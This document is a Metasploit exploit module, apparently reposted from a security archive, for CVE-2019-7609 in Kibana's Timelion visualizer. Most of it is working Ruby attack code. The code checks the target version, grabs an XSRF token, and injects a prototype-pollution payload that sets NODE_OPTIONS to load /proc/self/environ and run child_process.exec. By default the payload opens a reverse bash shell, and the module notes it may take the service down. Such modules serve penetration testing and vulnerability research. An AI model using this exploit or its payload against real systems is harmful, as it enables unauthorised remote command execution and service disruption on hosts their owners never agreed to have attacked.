Authored by h00die, Gaetan Ferry, Michal Bentkowski | Site metasploit.com

Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This leads to an arbitrary command execution with permissions of the Kibana process on the host system. Exploitation will require a service or system reboot to restore normal operation. The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells (50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a docker image caused 6 shells.

advisories | CVE-2019-7609

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kibana Timelion Prototype Pollution RCE',
'Description' => %q{
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer.
An attacker with access to the Timelion application could send a request that will attempt to execute
javascript code. This leads to an arbitrary command execution with permissions of the
Kibana process on the host system.

Exploitation will require a service or system reboot to restore normal operation.

The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells
(50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a
docker image caused 6 shells.

Tested against kibana 6.5.4.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Michał Bentkowski', # original PoC, analysis
'Gaetan Ferry' # more analysis
],
'References' => [
[ 'URL', 'https://github.com/mpgn/CVE-2019-7609'],
[ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'],
[ 'CVE', '2019-7609']
],
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2019-10-30',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'WfsDelay' => 10 # can take a minute to run
},
'Notes' => {
# the webserver doesn't die, but certain requests no longer respond before a timeout
# when things go poorly
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(5601),
OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/'])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),
'method' => 'GET',
'keep_cookies' => true
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

# this pulls a big JSON blob that we need as it has the version
unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end

version_json = CGI.unescapeHTML(Regexp.last_match(1))

begin
json_body = JSON.parse(version_json)
rescue JSON::ParserError
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end

return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?

@version = json_body['version']

if Rex::Version.new(@version) < Rex::Version.new('5.6.15') ||
(
Rex::Version.new(@version) < Rex::Version.new('6.6.1') &&
Rex::Version.new(@version) >= Rex::Version.new('6.0.0')
)
return CheckCode::Appears("Exploitable Version Detected: #{@version}")
end

CheckCode::Safe("Unexploitable Version Detected: #{@version}")
end

def get_xsrf
vprint_status('Grabbing XSRF Token')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200

return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body

nil
end

def trigger_socket
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required
'keep_cookies' => true,
'headers' => {
'kbn-xsrf' => @xsrf
},
'vars_get' => {
'EIO' => 3,
'transport' => 'polling'
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def send_injection(reset: false)
if reset
pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')"
else
# we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS
pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')|
end
body = {
'sheet' => [pload],
'time' => {
'from' => 'now-15m',
'to' => 'now',
'mode' => 'quick',
'interval' => 'auto',
'timezone' => 'America/New_York'
}
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => { 'kbn-version' => @version },
'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\'")),
'keep_cookies' => true
)
Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def exploit
check if @version.nil?
print_status('Polluting Prototype in Timelion')
send_injection

@xsrf = get_xsrf
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil?

print_status('Trigginger payload execution via canvas socket')
trigger_socket
print_status('Waiting for shells')
Rex.sleep(datastore['WFSDELAY'] / 10)
unless @reset_done
print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
end
end

def on_new_session(_client)
return if @reset_done

print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
@reset_done = true
ensure
super
end

end